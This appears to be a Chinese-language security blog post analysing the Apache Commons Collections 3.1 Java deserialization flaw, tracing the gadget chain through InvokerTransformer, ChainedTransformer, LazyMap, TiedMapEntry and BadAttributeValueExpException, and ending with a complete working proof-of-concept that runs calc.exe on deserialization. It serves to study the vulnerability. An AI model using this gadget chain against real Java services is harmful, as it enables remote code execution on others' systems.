Apache Commons Collections反序列化漏洞
环境搭建
通过Maven搭建就可以,该漏洞存在于Commons-Collections的3.21以下,这里我取3.1版本,IDE为Elipse。关于Elipse下的Maven安装。
新建一个Maven webApp项目,其中的配置文件pom.xml如下所示,增加commons-collections的dependency选项就可以了,这样Maven就会在本地的仓库中检查是否有该依赖的包,没有就会去中心仓库下载到你设置的仓库位置。
1 | <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
##
代码分析
这里使用jd-gui(Java Decompiler)
来对Maven下载到仓库里的jar文件进行反编译并分析。
### 引入
这个包使用来干什么的呢?可以认为是对常用的Java集合类进行了一个补充,如实现了Collection接口的子类:List,Queue等,此外定义了一些新的集合类,如Bag,BidiMap,同时拥有新版本的原有集合,比如FastArrayList,也提供了utils类,用于我们常用的集合操作,可以大大方便我们的日常编程。而这次的漏洞原因在于一个叫做InvokerTransformer
的类中。该类的结构如下:
1 | public class InvokerTransformer implements Transformer, Serializable |
可以看到该类实现了Transformer接口,也实现了Sericalizable接口。前者定义如下:
1 | public abstract interface Transformer { |
只有一个抽象方法transform,接受一个Object类型参数并返回一个Object类型参数。下来去看该类中该抽象方法的实现:
1 | public Object transform(Object input) { |
注意到该函数在传入的参数非空的情况下,会使用java的反射机制,获取传入的类的类型,并将iParamTypes
类型的参数传入,选择input
所属类的iMethodName
方法。而IMethodName,IparamTypes这两个变量是实例化时就已经设置好了的:
1 | private InvokerTransformer(String methodName) |
这就为调用任何对象的方法提供了可能性。 ### 代码审计
但是单纯的靠这个tranform方法达到目的还不行,我们需要一个能够多次调用方法并且每次都返回一个对象,作为下一次调用的参数的办法。在Common-Collections中也提供了实现这样功能的类---ChainedTransformer
:
1
public class ChainedTransformer implements Transformer, Serializable
Transformer
类型的数组:
1
private final Transformer[] iTransformers;
1
2
3
4
5
6
7public Object transform(Object object)
{
for (int i = 0; i < this.iTransformers.length; i++) {
object = this.iTransformers[i].transform(object);
}
return object;
}iTranformers
这个数组中的每一个Transformer
类型变量的transform方法。下面是一个小Demo,演示如何使用该类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20package demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo1{
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}
}
POC的构造
这里分析构造POC的一种方法,分别使用了LazyMap类和TransformedMap类。
### 构造POC原理 该类的定义如下: 1
public class LazyMap extends AbstractMapDecorator implements Map, Serializable
1
2
3
4
5
6
7
8
9
10
11
12
13public abstract class AbstractMapDecorator
implements Map {
protected transient Map map;
protected AbstractMapDecorator() {}
public AbstractMapDecorator(Map map)
{
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}
1 | //构造方法 |
可以看到在LazyMap中的get方法中,会返回指定的传入的key
值所对应的value值,如果在维护的map中没有找到这个key
所对应的键值,就会调用本类的factory的transform方法来为这个key
在表中创建一个键值。
factory这个变量属于Transformer接口类,传入时当然先要具体实例化,但是具体使用该接口的哪一个子类来实例化对象,这是我们可以控制的。前面我们已经分析了ChainedTransformer这个类可以触发RCE,并且这个类实现了Transformer(public class ChainedTransformer implements Transformer, Serializable
)所以我们可以从这里入手。现在的问题就变为了如何自动的来调用这个get()方法。
这里我们可以找到TiedMapEntry
这个类,该类的定义以及利用点如下:
1 | //实现了Map.Entry这个内部接口类 |
到这里就很明了了,传入LazyMap类的对象,并实例化TiedMapEntry一个对象,调用它的toString()方法(将该对象当做一个字符串使用的时候就会自动调用toString方法),这样就会调用我们传入的LazyMap类对象的get方法,紧接着上面的分析,如果不存在要这个key值,就会自行创建一个对应的键值,并将这个键值对存入map中。
到此get()方法的自动调用问题解决了,最后的问题就是怎么自动调用toString方法。这里找到了BadAttributeValueExpException
这个类,其中有这么一个方法:
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
可以看到在本类中会调用传进来的ois(ObjectInputStream)对象,并调用了他的readFields()方法。下面试Getfield的定义以及他的get方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23/**
* Provide access to the persistent fields read from the input stream.
*/
public static abstract class GetField
//该类的实现类GetFieldImpl
/**
* Default GetField implementation.
*/
private class GetFieldImpl extends GetField {
//省略其他代码
public Object get(String name, Object val) throws IOException {
int off = getFieldOffset(name, Object.class);
if (off >= 0) {
int objHandle = objHandles[off];
handles.markDependency(passHandle, objHandle);
return (handles.lookupException(objHandle) == null) ?
objVals[off] : null;
} else {
return val;
}
}
}
POC
下面给出基于上面分析的POC代码: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author lzwgiter
* @since 2021/09/20
*/
public class PoC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "float");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valField = poc.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(poc, entry);
File f = new File("MalObject");
FileOutputStream fos = new FileOutputStream(f);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poc);
oos.close();
FileInputStream fis = new FileInputStream(f);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}
参考学习
https://www.jianshu.com/p/e922ea492ccd https://www.cnblogs.com/pengyan-9826/p/7767070.html https://p0sec.net/index.php/archives/121/ https://xz.aliyun.com/t/4558#toc-0